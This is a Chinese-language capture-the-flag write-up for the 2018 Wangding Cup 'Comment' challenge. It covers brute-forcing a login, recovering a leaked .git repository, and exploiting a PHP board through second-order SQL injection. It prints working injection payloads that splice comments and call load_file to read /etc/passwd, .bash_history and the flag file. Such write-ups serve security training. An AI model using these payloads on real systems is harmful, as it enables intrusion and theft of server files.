[网鼎杯 2018]Comment

知识点:二次注入，mysql对存入的数据自动做处理，addslashes

登录页面已经告诉我们账号名，密码只要我们爆破一下就可以了。

爆破可得密码为：password=zhangwei666

有git源码泄露，它说我们无权访问，那就说明确实存在。

可以用GitHackhttps://github.com/BugScanTeam/GitHack获取源码

python2 GitHack.py http://b1414ff6-95be-4264-8dca-1faf6b4551cb.node4.buuoj.cn:81/.git/

但是代码不全，需要我们恢复一下，我们可以版本回滚一下。

回滚前先看一下历史记录

git log --all

在回到之前的版本

git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

<?php
include "mysql.php";
session_start();
if($_SESSION['login'] != 'yes'){
    header("Location: ./login.php");
    die();
}
if(isset($_GET['do'])){
switch ($_GET['do'])
{
case 'write':#发布帖子
    $category = addslashes($_POST['category']);
    $title = addslashes($_POST['title']);
    $content = addslashes($_POST['content']);
    $sql = "insert into board
            set category = '$category',
                title = '$title',
                content = '$content'";
    #sql语句，没有任何过滤，插入相应信息
    $result = mysql_query($sql);
    header("Location: ./index.php");
    break;
case 'comment':
    $bo_id = addslashes($_POST['bo_id']);
    $sql = "select category from board where id='$bo_id'";
    #读取信息，同样没有任何过滤
    $result = mysql_query($sql);
    $num = mysql_num_rows($result);
    if($num>0){#插入留言
    $category = mysql_fetch_array($result)['category'];
    $content = addslashes($_POST['content']);
    $sql = "insert into comment
            set category = '$category',
                content = '$content',
                bo_id = '$bo_id'";
                #插入留言

    $result = mysql_query($sql);
    }
    header("Location: ./comment.php?id=$bo_id");
    break;
default:
    header("Location: ./index.php");
}
}
else{
    header("Location: ./index.php");
}
?>

addslashes函数会对一些字符做转义处理，例如'->\'…

但是数据库在存入数据前，会对数据做过滤处理，也就是说\'又变为'，会原样执行我们的查询。

我们在发布帖子的时候，如果令category=',content=user(),/*，那么他会把这条语句原样插入进去，具体作用我们接着往下看。

可以看到在comment里面它直接把查到的category赋值给sql，没有过滤。

最后在这里，上面的那条语句的作用就显示出来了，它把查到的category，带入语句，且把我们的留言也无过滤带入，那么如果我们令content=*/#

语句就会变为这样，且/*....*/中间的所有语句全被注释，且#后面的也被注释了,且我们发完留言它就会显示我们的留言，这边因为我们的注释，所以它会返回database()

$sql = "insert into comment
            set category = '',content=database(),/*',
                content = '*/#',
                bo_id = '$bo_id'";

步骤:


接下来按照上面的思路，读一下配置文件，',content=(select load_file('/etc/passwd')),/*,得到www的用户目录。

再读一下隐藏文件.bash_history： ',content=(select load_file('//home/www/.bash_history')),/*，看看历史操作记录，它是进入/tmp/目录下操作的。

从中我们可以看到删除了一个文件，可能是flag。再看一可以看到/tmp/html下可以访问到

',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*

然后16解码读取它，看到flag

然后读取flag

',content=(select hex(load_file('/var/www/html/flag_8946e1ff1ee3e40f.php'))),/*

同样16进制解码它，得到flag。

参考：
https://mayi077.gitee.io/2020/04/05/%E7%BD%91%E9%BC%8E%E6%9D%AF-2018-Comment/